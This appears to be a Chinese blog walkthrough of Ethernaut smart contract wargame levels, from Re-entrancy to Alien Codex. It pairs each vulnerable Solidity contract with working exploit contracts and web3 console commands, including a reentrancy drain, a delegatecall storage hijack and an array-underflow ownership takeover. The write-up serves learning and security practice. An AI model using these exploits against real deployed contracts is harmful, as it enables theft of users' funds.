智能合约安全-Ethernaut中篇

让我们畅谈智能合约安全吧

题库

0x0B Re-entrancy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

  • transfer:要求接收的智能合约中必须有一个fallback或者receive函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:

    • 付款方合约的余额不足,小于所要发送的value
    • 接收方合约拒绝接收支付
  • send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。

  • call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下:

    (bool success, bytes memory data) = receivingAddress.call{value: 100}("");

    参数为空时会调用 fallback 获取 receive 函数

著名的 The Dao 事件就是由重入攻击造成的,合约中使用的 call 不会有 gas 额度的限制,并且是在发送 eth 后才修改的余额,所以可以设置 receive 函数里面再次调用 withdraw 函数进行重入将余额提取完,攻击代码如下,调用 donateAndWithdraw 并设置 msg.value 为 1000000000000000 Wei。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}

contract ReentranceAttack {
address public owner;
IReentrance targetContract;
uint targetValue = 1000000000000000;

constructor(address _targetAddr) public {
targetContract = IReentrance(_targetAddr);
owner = msg.sender;
}

function balance() public view returns (uint) {
return address(this).balance;
}

function donateAndWithdraw() public payable {
require(msg.value >= targetValue);
targetContract.donate.value(msg.value)(address(this));
targetContract.withdraw(msg.value);
}

function withdrawAll() public returns (bool) {
require(msg.sender == owner, "my money!!");
uint totalBalance = address(this).balance;
(bool sent, ) = msg.sender.call.value(totalBalance)("");
require(sent, "Failed to send Ether");
return sent;
}

receive() external payable {
uint targetBalance = address(targetContract).balance;
if (targetBalance >= targetValue) {
targetContract.withdraw(targetValue);
}
}
}

可以看到攻击后合约地址为 0:

image-20230912162204516

0x0C Elevator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

逻辑漏洞,第一次 false,第二次 true 就可以绕过了,看 isLastFloor 具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Elevator {
function goTo(uint _floor) external;
}

contract Building {
bool x=true;
address target;
Elevator elevator;

function isLastFloor(uint) external returns (bool){
x=!x;
return x;
}

function exploit(address _addr) public{
elevator= Elevator(_addr);
elevator.goTo(2);
}
}

image-20230912201249456

0x0D Privacy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
  • locked 1 字节在 slot0
  • ID 32 字节在 slot1
  • flattening 1 字节,denomination 1 字节,awkwardness 2 字节放一起在 slot2
  • data 中每个元素占 32 个字节,单独一个 slot,所以 data[2] 是在 slot5

最后还要转换 bytes16() 取前十六个字节:

1
2
3
key = await web3.eth.getStorageAt(contract.address, 5)
key = key.slice(0, 34) 有个 0x 所以 34
await contract.unlock(key)

image-20230913003720003

0x0E Gatekeeper One

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

看下这个题解:https://www.wangan.com/p/11v7568e662b09fc

修饰器一:之前说过 msg.sender 和 tx.origin 的区别,利用合约来调用函数就可以绕过第一个

修饰器二:利用爆破来撞到剩余 gas 是 8191 的倍数

修饰器三:

  1. 第一个 require:uint32(uint64(gateKey)) 从低位截取,变成 0xaaaabbbb。uint16(uint64(gateKey)) 从低位截取,变成 0xbbbb。根据 solidity 的规则,uint32 和 uint16 在比较的时候,较小的类型 uint16 会在高位补 0 至位数和较大类型 uint32 一致,即:0x0000bbbb 和 0xaaaabbbb 比较。因此,我们的参数gateKey 得是一个 xxxxxxxx0000xxxx 类型的数值。
  2. 第二个 require:uint64(gateKey) 是保留所有位,而 uint32(uint64(gateKey)) 保留低 32 位。两者低 32 位是一模一样的,要通过 require,则需要高 32 位任意一位不一致即可,因为 uint32(uint64(gateKey)) 高 32 位全部为 0,那么我们传入的参数高 32 位至少需要一位数不为 0。因此,我们的参数gateKey 可以是一个 FFFFFFFF0000xxxx 类型的数值。
  3. 第三个 require:目前我们确定参数gateKey 可以是一个 FFFFFFFF0000xxxx 类型的数值。那么 uint32(uint64(gateKey)) 之后的结果就是 0000xxxx。uint16(uint160(tx.origin)) 是对钱包地址进行操作,数值类型从低位开始截取,即 uint16(uint160(tx.origin)) 的结果是我们钱包地址的后 16 位,就是后面 4 个数,对于我来说为 9CB7。那么这个gateKey 就确定下来了,可以为:FFFFFFFF00009CB7。(前 8 个 F 是可变的,0000 是雷打不动的,9CB7 根据自己的钱包而定)

攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity ^0.8.0;

interface GatekeeperOne {

}

contract Hack{
GatekeeperOne gatekeeperOne = GatekeeperOne(); // 填 instance 地址
function attack() public {
bytes8 key = 0xFFFFFFFF00009CB7;
// 网络版本
// 为什么这么写呢?因为有玩家通过测试,本关这里的gas的i大概在210次
// 然后他取了一个缓冲值60上下浮动,即:210加减60=>150~270
// 那么,他就打算从gas=150开始循环
// 最多到270次就收手,这就是120的由来:270-150=120
for (uint256 i = 0; i < 120; i++) {
(bool result,) = address(gatekeeperOne).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
}

function attack_() public {
bytes8 key = 0xFFFFFFFF00009CB7;
//未知版本
for (uint256 i = 0; i < 8191; i++) {
// 乘3原因:气体最低21000,低于这个值就很可能call调用失败。因此*3就大于21000,你可以乘任何>=3的值
// i从0开始,不断尝试,理论上最多有8191种可能,肯定能试出来。
// 一旦试出来,result返回true,就可以退出循环了
(bool result,) = address(gatekeeperOne).call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
}
}

可以看到 entrant 变成了我的钱包地址:

image-20230918204111617

0x0F Gatekeeper Two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

修饰器一还是一样

修饰器二:要求 caller 的 code 为 0,我们利用构造函数值运行,那么合约本身就没有任何运行时字节码

修饰器三:uint64(0)-1,取 uint64 的最大值,bytes8(keccak256(abi.encodePacked(msg.sender)))部分是从msg.sender(即本例中的Exploiter合约)中抽取低位的8字节并将其转换为uint64。指令a ^ b是位的XOR(异或)操作。XOR 操作是这样的:如果位置上的两个位相等,将产生一个 “0”,否则将产生一个 “1”。为了使a ^ b = type(uint64).max(都是1), b必须是a的逆数。

攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.8.0;

contract attack {

constructor(address _victim) {
bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
bytes memory payload = abi.encodeWithSignature("enter(bytes8)", _key);
(bool success,) = _victim.call(payload);
require(success, "failed somewhere...");
}
}

image-20230918212630762

0x10 Naught Coin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

transfer 函数被修饰器限制了,但是 ERC20 还支持 transferFrom 函数,

1
2
3
4
secondaddr='' // 第二个随便转出的地址
totalvalue='1000000000000000000000000'
await contract.approve(player,totalvalue)
await contract.transferFrom(player,secondaddr,totalvalue)

image-20230924165852116

0x11 Preservation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

delegatecall 调用上下文在调用合约中,想要修改 owner 就是需要修改第三个 slot,那么可以第一次调用来修改 slot0 的 timeZone1Library,那么 timeZone1Library 可以修改劫持为自己攻击合约的地址,第二次调用可以直接调用的是攻击合约中的 setTime 函数来修改 slot2

1
2
3
4
5
6
7
8
9
10
11
12
13
pragma solidity ^0.8.0;

contract AttackPreservation {

// stores a timestamp
address doesNotMatterWhatThisIsOne;
address doesNotMatterWhatThisIsTwo;
address maliciousIndex;

function setTime(uint _time) public {
maliciousIndex = address(uint160(_time));
}
}

部署合约后

1
2
await contract.setFirstTime("攻击合约的地址")
await contract.setFirstTime(player);

攻击成功:

image-20230924211537420

0x12 Recovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

https://sepolia.etherscan.io/ 上搜索 Instance 的记录,

image-20231015132140367

点进去看到合约的地址,拿到地址后直接 js 调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
data = web3.eth.abi.encodeFunctionCall({
name: 'destroy',
type: 'function',
inputs: [{
type: 'address',
name: '_to'
}]
}, [player]);
await web3.eth.sendTransaction({
to: "找到的合约地址",
from: player,
data: data
})

destory 参数其实随便填就行,这里我们填入的是 player

0x13 MagicNumber

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNum {

address public solver;

constructor() {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

直接操作字节码不太会,看这篇 题解

1
2
3
4
let bytecode = "0x600A600C600039600A6000F3602A60805260206080F3";
web3.eth.sendTransaction({from: player, data: bytecode});
// 通关 Etherscan 得到合约地址 contractAddress
await contract.setSolver("contractAddress");

0x14 Alien Codex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function makeContact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

这种动态数组的第一个元素不是紧贴长度的,也就是 slot1 在这个合约中,是 keccak256(p),计算出来的。这里 p 是 1,算出来后再溢出 2^256 slot 最多的长度就行。

1
2
3
4
5
6
contract.makeContact()
contract.retract() // 溢出数组使其长度为 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
// codex 的第一个元素应该位于 keccak256(abi.encodePacked(1)) == 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,该 slot 到 slot 0 的距离为:
// 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1
// 得到 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a
await contract.revise('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a', '0x000000000000000000000000' + player.substr(2))